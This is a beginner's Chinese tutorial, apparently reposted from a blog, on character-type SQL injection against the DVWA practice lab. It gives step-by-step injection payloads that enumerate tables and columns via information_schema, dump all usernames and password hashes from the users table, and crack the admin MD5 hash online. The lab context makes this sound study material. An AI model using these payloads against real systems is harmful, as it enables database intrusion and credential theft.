2.第一节-----sql注入------小白学习------DVWA

本文阅读 5 分钟
首页 代码,C/C#/C++ 正文

0x01:sql注入含义

1.问:sql注入,谁去注入? 答:攻击者

2.问:sql注入,注入到哪里? 答:sql注入,注入到sql查询语句

3.问:sql注入,目的什么? 答:sql注入,注入到sql查询语句,从而破坏正常的sql查询语句,最终执行自己想要执行的语句

4.问:sql注入时候,执行的语句,有什么作用? 答:sql注入,执行的语句会与后台服务器直接进行交互,相当于是在一条命令换取一条甚至一组结果,之后返回到浏览器的页面进行渲染后,呈现在攻击者的面前。

0x02:本次sql注入的类型:

1.字符型注入,它的字符型是什么意思? 答:当输入的参数为字符串时,称为字符型。 2.字符型与数字型(整型)的区别在哪? 答:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。 3.注入的类型到底是什么鬼? 答:①攻击者把命令注入到查询语句中,是为了传到后台的sql服务器后,可以执行,并且获得反馈。 ②那么这个以什么类型的语句注入到查询语句中,就完全取决于后台的sql服务器了。 ③若服务器设置为char字符型,那么相应的你也要通过字符型来注入咯。。。。。

例1:

1.字符型注入的发现过程:

①.首先你会发现一个注入点,如下图所示: img输入:'

img

如上图所示,通过结果发现服务器是通过字符串的格式来接收传参的,所以这个就是字符型注入咯。

a.最外面一对单引号,是为了高亮显示,也就是强调的。
b.接着一对单引号,是系统自动加的单引号。(字符型的,自动加一对单引号)(从这里判断的,这是字符型注入)
c.最里面一个单引号,是刚刚自己打的。

输入:1' and '1'='1 img

如上图所示,结果正常显示。
a.第一行红色回显的语句,这条语句是你自己在输入框输入的语句,只是为了让你看清,自己输入了什么。
b.第一行的语句:1'  and  '1'=1'   这条语句在提交后,系统会自动进行闭合,也就是自动在前后加一对单引号,如:  '1'  and  '1'='1'

④输入:1' and '1'='2

img img 如上图所示,提交后无回显。

总结:字符型注入的判断过程:

'                                        //出现5个引号        '''
1   and  1=1                            //正常回显            '1   and  1=1'        
1   and  1=2                            //正常回显            '1   and  1=2'
1'  and  '1'='1                            //正常回显            '1'  and  '1'='1'    
1'  and  '1'='2                            //不回显                '1'  and  '1'='2'    
//前后的一对单引号,是字符型的时候,系统的自动闭合。

2.通过order by,猜解SQL查询语句中的字段数

①输入:1' order by 3 # img

②输入:1' order by 2 # img

3.通过联合查询,确定显示的字段顺序,查看当前数据库,版本,用户等信息

①输入:1' union select 1,2 # img

//如上图所示,
Firstname为1;
Surname为2。

②输入:1' union select database(),version() # img

//如上图所示,
把1的位置换成database()后,显示数据库为dvwa;
把2的位置换成version()后,显示版本为5.5.53。

③输入:1' union select user(),2 # img

//如上图所示,
把1的位置换成user()后,显示服务器的用户为root,localhost为hostname主机名;
2的位置,依旧放2。

4.通过联合查询爆dvwa数据库的表

①输入:1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #

img

//如上图所示,
联合查询后,一次性显示的表为:guestbook和users

②输入:1' union select table_name,2 from information_schema.tables where table_schema='dvwa' # img

//如上图所示,是逐条的显示出,表guestbook和users

5.通过联合查询,爆表里的列

①输入:1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' # img

//如上图所示,一次性的爆列名,注意user_id和first_name和,user和password

②输入:1' union select column_name,1 from information_schema.columns where table_name='users' # img

//如上图所示,逐条爆出列名,注意user_id和first_name和,user和password

6.通过联合查询,爆出列中的字段的内容

①输入:1' union select group_concat(concat_ws(char(32,58,32),user,password)),2 from users# img //如上图所示,一行显示所有信息 ②输入:1' union select concat_ws(char(32,58,32),user,password),2 from users#

img

//如上图所示,分行显示各自的用户名和密码

③输入:1' union select user,password from users #

img

//如上图所示,用户名和密码分行显示

7.解密admin用户的md5加密后的密码

①进入网站:https://www.cmd5.com/ img

//如上图所示,admin的密码是password
一句天赋毁了别人多少努力
                                                                                                    2019-11-02————421
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/102864134
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复